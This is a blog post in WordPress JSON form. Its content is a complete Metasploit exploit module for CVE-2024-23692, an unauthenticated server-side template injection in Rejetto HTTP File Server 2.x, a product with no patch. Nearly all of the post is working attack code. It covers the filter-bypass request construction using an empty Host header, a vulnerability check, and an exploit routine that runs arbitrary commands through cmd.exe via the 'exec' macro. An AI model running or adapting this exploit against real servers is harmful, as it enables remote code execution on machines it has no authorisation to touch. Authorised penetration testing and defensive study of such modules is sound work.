{"id":57468,"date":"2024-06-13T17:31:16","date_gmt":"2024-06-13T14:31:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179083\/rejetto_hfs_rce_cve_2024_23692.rb.txt"},"modified":"2024-06-13T17:31:16","modified_gmt":"2024-06-13T14:31:16","slug":"rejetto-http-file-server-hfs-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/rejetto-http-file-server-hfs-unauthenticated-remote-code-execution\/","title":{"rendered":"Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template<br \/>injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges<br \/>of the user account running the HFS.exe server process. This exploit has been tested to work against version<br \/>2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers<br \/>and no patch is available. Users are recommended to upgrade to newer supported versions.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sfewer-r7&#8217;, # Metasploit exploit<br \/>&#8216;Arseniy Sharoglazov&#8217; # Original finder<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-23692&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/mohemiv.com\/all\/rejetto-http-file-server-2-3m-unauthenticated-rce\/&#8217;],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-25&#8217;,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/># Tested against Rejetto HFS version:<br \/># * 2.4.0 RC7<br \/># * 2.3m<br \/>&#8216;Automatic&#8217;, {}<br \/>],<br \/>],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8216;&#8221;&#8216;<br \/>},<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 80<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [<br \/>IOC_IN_LOGS,<br \/># If the HFS.exe process is run in a desktop session, the payload cmd.exe window will momentarily popup.<br \/>SCREEN_EFFECTS<br \/>]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the web application&#8217;, &#8221;]),<br \/>])<br \/>end<\/p>\n<p>def send_ssti_request_cgi(template, opts = {})<br \/>opts[&#8216;vars_get&#8217;] ||= {}<br \/>opts[&#8216;headers&#8217;] ||= {}<\/p>\n<p># The &#8216;search&#8217; query parameter is echoed into the content before server side template processing occurs on the<br \/># content being processed. Under normal operation any user supplied content will be escaped, so any symbols, which<br \/># are encoded as &#8216;%symbol%&#8217; and macro which are encoded as &#8216;{:macro:}&#8217; will be escaped to prevent SSTI.<\/p>\n<p># However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content<br \/># being processed. We can leverage this to force the &#8216;%url%&#8217; symbol to become unescaped. This will echo back the<br \/># remainder of the un-encoded URL into the server side content.<\/p>\n<p># To inject our own content, we need to first write a MARKER_UNQUOTE &#8216;:}&#8217; sequence,<br \/># however this will be filtered. We can then bypass the filtering for &#8216;:}&#8217; by leveraging the %host% symbol and an<br \/># empty host header value. So &#8216;:%host%}&#8217; will become &#8216;:}&#8217; and this will not be escaped. After this happens we can<br \/># perform an arbitrary template injection of any HFS symbols or macros we want.<\/p>\n<p>opts[&#8216;vars_get&#8217;].merge!({<br \/>&#8216;search&#8217; =&gt; &#8220;%25#{Rex::Text.rand_text_alpha(1)}%25url%25:%host%}#{template}&#8221;<br \/>})<\/p>\n<p># The Host header must be an empty string for the above symbol substitution to bypass the MARKER_UNQUOTE filtering.<br \/>opts[&#8216;headers&#8217;].merge!({<br \/>&#8216;Host&#8217; =&gt; &#8221;<br \/>})<\/p>\n<p>opts[&#8216;method&#8217;] = [&#8216;GET&#8217;, &#8216;POST&#8217;].sample<\/p>\n<p>opts[&#8216;uri&#8217;] = normalize_uri(target_uri.path)<\/p>\n<p>opts[&#8216;encode_params&#8217;] = false<\/p>\n<p>send_request_cgi(opts)<br \/>end<\/p>\n<p>def check<br \/>cookie_name = Rex::Text.rand_text_alphanumeric(32)<br \/>cookie_value = Rex::Text.rand_text_alphanumeric(32)<\/p>\n<p># Our check routine will leverage the SSTI vulnerability and use it to read a cookie value by its name, writing<br \/># this value to the response output. In addition we will write the current server version into the response output.<br \/># We can therefore verify if a target is vulnerable by first confirming the expected cookie value is now present<br \/># in the response output, and if so we can also pull out the target servers version number.<br \/>res = send_ssti_request_cgi(<br \/>&#8220;{.cookie|#{cookie_name}.}=%version%=&#8221;,<br \/>{<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Cookie&#8217; =&gt; &#8220;#{cookie_name}=#{cookie_value}&#8221;<br \/>}<br \/>}<br \/>)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res<\/p>\n<p>return CheckCode::Unknown(&#8220;Received unexpected HTTP status code: #{res.code}.&#8221;) unless res.code == 200<\/p>\n<p>version = res.body.match(\/#{cookie_value}=([^=]+)=\/)<\/p>\n<p>return CheckCode::Vulnerable(&#8220;Rejetto HFS version #{version[1]}&#8221;) if version<\/p>\n<p>CheckCode::Safe<br \/>end<\/p>\n<p>def exploit<br \/>command_string = &#8220;\\&#8221;cmd\\&#8221; \\&#8221;\/c #{payload.encoded}\\&#8221;&#8221;<\/p>\n<p>command_chars = command_string.unpack(&#8216;C*&#8217;).join(&#8216;|&#8217;)<\/p>\n<p># To get code execution we leverage the &#8216;exec&#8217; macro. We must leverage the &#8216;chr&#8217; macro to construct an arbitrary<br \/># command string in order to avoid the server filtering out certain characters such as &#8216;%&#8217;. To avoid executing the<br \/># payload 4 times, we leverage the &#8216;break&#8217; macro to stop processing the output.<br \/>send_ssti_request_cgi(&#8220;{.exec|{.chr|#{command_chars}.}.}{.break.}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side templateinjection (SSTI) vulnerability. A remote unauthenticated attacker &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57468","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57468","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57468"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57468\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57468"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57468"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57468"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}